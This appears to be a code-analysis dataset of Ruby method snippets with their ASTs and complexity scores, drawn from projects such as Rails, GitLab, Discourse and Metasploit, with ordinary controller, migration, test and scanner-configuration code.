{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/api/v2/accounts_controller.rb","start_line":4,"raw_source":"def fetch_account_and_user_info\n    @data = fetch_from_clearbit\n\n    return if @data.blank?\n\n    update_user_info\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_account_and_user_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[null,\"fetch_from_clearbit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"update_user_info\"]}]}]}","id":"cb6bb5fd-6732-4c8c-b28b-d00542f555c1"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20201001154006_remove_superfluous_indexes_from_notifications.rb","start_line":14,"raw_source":"def down\n    unless index_exists?(:notifications, :organization_id)\n      add_index :notifications, :organization_id, algorithm: :concurrently\n    end\n\n    unless index_exists?(:notifications, :user_id)\n      add_index :notifications, :user_id, algorithm: :concurrently\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}]}","id":"f37f8103-7133-41b5-8926-c1a5cf79fb37"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/caching_headers.rb","start_line":49,"raw_source":"def set_surrogate_key_header(*surrogate_keys)\n    request.session_options[:skip] = true # No Set-Cookie\n    response.headers[\"Surrogate-Key\"] = surrogate_keys.join(\" \")\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_surrogate_key_header\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"surrogate_keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"session_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Surrogate-Key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"surrogate_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"11b4e458-2ac3-42ee-b3f3-d17bd8a4552a"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/view_collection.rb","start_line":51,"raw_source":"def identifier_fields\n      views[:identifier].fields.values\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"identifier_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]},\"fields\"]},\"values\"]}]}","id":"9bca89f0-c228-4c2e-a849-2ddf72af8b1c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1046,"raw_source":"def test_bun_without_bun_installed\n    generator([destination_root], javascript: \"bun\")\n    bun_version = generator.class.const_get(:BUN_VERSION)\n\n    # fallback to constant when bun is not installed\n    generator.stub :dockerfile_bun_version, bun_version do\n      quietly { generator.invoke_all }\n    end\n\n    assert_gem \"jsbundling-rails\"\n    assert_file \"Dockerfile\" do |content|\n      assert_match(/ARG BUN_VERSION=#{bun_version}/, content)\n\n      assert_match(\"RUN bun install --frozen-lockfile\", content)\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bun_without_bun_installed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"javascript\"]},{\"type\":\"str\",\"children\":[\"bun\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bun_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"class\"]},\"const_get\",{\"type\":\"sym\",\"children\":[\"BUN_VERSION\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"dockerfile_bun_version\"]},{\"type\":\"lvar\",\"children\":[\"bun_version\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"invoke_all\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"jsbundling-rails\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Dockerfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARG BUN_VERSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bun_version\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"RUN bun install --frozen-lockfile\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"71464e1a-438d-4a47-8bfb-a0b9bc0d3066"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/virustotal.rb","start_line":54,"raw_source":"def print_error(msg='')\n  $stdout.puts \"[-] #{msg}\"\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[-] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"d3b9823f-8b4e-4794-8e9e-6e29a9bf0ab6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250507102834_create_trigger_on_project_authorizations.rb","start_line":29,"raw_source":"def up\n    create_trigger_function(FUNCTION_NAME) { FUNCTION_BODY }\n\n    create_trigger(\n      SRC_TABLE,\n      TRIGGER_NAME,\n      FUNCTION_NAME,\n      fires: 'AFTER INSERT OR UPDATE OR DELETE')\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_trigger_function\",{\"type\":\"const\",\"children\":[null,\"FUNCTION_NAME\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"FUNCTION_BODY\"]}]},{\"type\":\"send\",\"children\":[null,\"create_trigger\",{\"type\":\"const\",\"children\":[null,\"SRC_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]},{\"type\":\"const\",\"children\":[null,\"FUNCTION_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fires\"]},{\"type\":\"str\",\"children\":[\"AFTER INSERT OR UPDATE OR DELETE\"]}]}]}]}]}]}","id":"3eca07d8-5e2e-4d7f-9126-86104e6eb3a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_gists_import/import_gist_worker.rb","start_line":83,"raw_source":"def with_logging(user_id, github_identifiers)\n        info(user_id, 'start importer', github_identifiers)\n\n        yield\n\n        info(user_id, 'importer finished', github_identifiers)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_logging\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"github_identifiers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"str\",\"children\":[\"start importer\"]},{\"type\":\"lvar\",\"children\":[\"github_identifiers\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"str\",\"children\":[\"importer finished\"]},{\"type\":\"lvar\",\"children\":[\"github_identifiers\"]}]}]}]}","id":"426203d9-5381-456d-9ebd-8d9b6626db62"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/support/pages/taskboard.rb","start_line":51,"raw_source":"def expect_task_in_story_column(task, story, column)\n      within \".story_#{story.id} td:nth-of-type(#{column + 2})\" do\n        expect(page)\n          .to have_css(\"#work_package_#{task.id}\")\n      end\n    end","complexity_score":11.45,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_task_in_story_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]},{\"type\":\"arg\",\"children\":[\"story\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".story_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"story\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" td:nth-of-type(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#work_package_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]}]}]}]}]}]}]}","id":"62ceaac8-5fc6-4142-8856-b9310512caf4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":1015,"raw_source":"def remove_from_maintenance(conn)\n          synchronize do\n            @maintaining -= 1\n            remove conn\n          end\n        end","complexity_score":5.95,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_from_maintenance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@maintaining\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]}]}]}","id":"ebd96bbf-b6de-4a1d-b688-c6ffe20be5b7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/manager.rb","start_line":220,"raw_source":"def get_theme(theme_id)\n    if theme = @themes_cache[theme_id]\n      theme\n    else\n      load_themes([theme_id]).first\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_theme\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theme\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@themes_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"theme\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_themes\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]},\"first\"]}]}]}","id":"ee93a591-2dad-4f36-bc42-8929e477cbc8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/cache.rb","start_line":8,"raw_source":"def clear\n      Rails.cache.clear\n      say('OK', :green)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"clear\"]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"OK\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}","id":"4eec499a-4003-45bf-83e7-df85bc5a3a84"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/service_result.rb","start_line":243,"raw_source":"def on_failure(&)\n    tap(&) if failure?\n    self\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure?\"]},{\"type\":\"send\",\"children\":[null,\"tap\",{\"type\":\"block_pass\",\"children\":[null]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"4b994265-839d-4be3-a564-d442a349700b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/s3_helper.rb","start_line":47,"raw_source":"def self.build_from_config(use_db_s3_config: false, for_backup: false, s3_client: nil)\n    setting_klass = use_db_s3_config ? SiteSetting : GlobalSetting\n    options = S3Helper.s3_options(setting_klass)\n    options[:client] = s3_client if s3_client.present?\n    options[:use_accelerate_endpoint] = !for_backup &&\n      SiteSetting.Upload.enable_s3_transfer_acceleration\n    options[:use_dualstack_endpoint] = SiteSetting.Upload.use_dualstack_endpoint\n\n    bucket =\n      if for_backup\n        setting_klass.s3_backup_bucket\n      else\n        use_db_s3_config ? SiteSetting.s3_upload_bucket : GlobalSetting.s3_bucket\n      end\n\n    S3Helper.new(bucket.downcase, \"\", options)\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_from_config\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"use_db_s3_config\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"for_backup\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"s3_client\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting_klass\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_db_s3_config\"]},{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S3Helper\"]},\"s3_options\",{\"type\":\"lvar\",\"children\":[\"setting_klass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s3_client\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"s3_client\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"use_accelerate_endpoint\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_backup\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"enable_s3_transfer_acceleration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"use_dualstack_endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"use_dualstack_endpoint\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bucket\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_backup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_klass\"]},\"s3_backup_bucket\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_db_s3_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_upload_bucket\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"s3_bucket\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S3Helper\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket\"]},\"downcase\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"03acf070-feb2-4451-a3b6-550dd70e9a3e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/custom_fields/details_component.rb","start_line":39,"raw_source":"def persisted_cf_has_no_items_or_projects?\n      custom_field.persisted? &&\n        custom_field.hierarchical_list? &&\n        custom_field.hierarchy_root.children.empty? &&\n        custom_field.projects.empty?\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persisted_cf_has_no_items_or_projects?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"hierarchical_list?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"hierarchy_root\"]},\"children\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"projects\"]},\"empty?\"]}]}]}","id":"c4b88027-746c-4058-9a4e-a4d8f75d6bb5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/ibm_mq_enum.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Identify Queue Manager Name and MQ Version',\n        'Description' => 'Run this auxiliary against the listening port of an IBM MQ Queue Manager to identify its name and version. Any channel type can be used to get this information as long as the name of the channel is valid.',\n        'Author' => [ 'Petros Koutroumpis' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('CHANNEL', [ true, \"Channel to use\", \"SYSTEM.DEF.SVRCONN\"]),\n        OptInt.new('CONCURRENCY', [true, \"The number of concurrent ports to check per host\", 10]),\n        OptInt.new('TIMEOUT', [true, \"The socket connect timeout in seconds\", 10]),\n        OptString.new('PORTS', [true, 'Ports to probe', '1414']),\n\n      ]\n    )\n    deregister_options('RPORT')\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Identify Queue Manager Name and MQ Version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run this auxiliary against the listening port of an IBM MQ Queue Manager to identify its name and version. Any channel type can be used to get this information as long as the name of the channel is valid.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Petros Koutroumpis\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHANNEL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Channel to use\"]},{\"type\":\"str\",\"children\":[\"SYSTEM.DEF.SVRCONN\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONCURRENCY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of concurrent ports to check per host\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The socket connect timeout in seconds\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PORTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Ports to probe\"]},{\"type\":\"str\",\"children\":[\"1414\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}","id":"271d5e8e-d51c-4df4-bb3d-b24fb4b980a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/spam/spam_params.rb","start_line":57,"raw_source":"def self.normalize_grape_request_headers(request:)\n      # If needed, make a normalized copy of Grape headers with the case of 'GitLab' (with an\n      # uppercase 'L') instead of 'Gitlab' (with a lowercase 'l'), because Grape header helper keys\n      # are \"coerced into a capitalized kebab case\". See https://github.com/ruby-grape/grape#request\n      %w[X-Gitlab-Captcha-Response X-Gitlab-Spam-Log-Id].each do |header|\n        request.headers[header.gsub('Gitlab', 'GitLab')] = request.headers[header] if request.headers.key?(header)\n      end\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_grape_request_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"request\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Gitlab-Captcha-Response\"]},{\"type\":\"str\",\"children\":[\"X-Gitlab-Spam-Log-Id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"Gitlab\"]},{\"type\":\"str\",\"children\":[\"GitLab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"header\"]}]}]},null]}]}]}","id":"605a119c-5daa-4bc1-ad34-58d0827f52d7"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/rails/generators/job/job_generator.rb","start_line":39,"raw_source":"def application_job_file_name\n          @application_job_file_name ||= if mountable_engine?\n            \"app/jobs/#{namespaced_path}/application_job.rb\"\n          else\n            \"app/jobs/application_job.rb\"\n          end\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"application_job_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@application_job_file_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mountable_engine?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/jobs/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespaced_path\"]}]},{\"type\":\"str\",\"children\":[\"/application_job.rb\"]}]},{\"type\":\"str\",\"children\":[\"app/jobs/application_job.rb\"]}]}]}]}","id":"f7632889-2e7f-465f-97dc-511b74f8c4ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":136,"raw_source":"def removed_milestone_issue_email\n    Notify.removed_milestone_issue_email(user.id, issue.id, user.id)\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"removed_milestone_issue_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"removed_milestone_issue_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}","id":"81cd7951-b256-4952-a5e8-a8468854d214"}
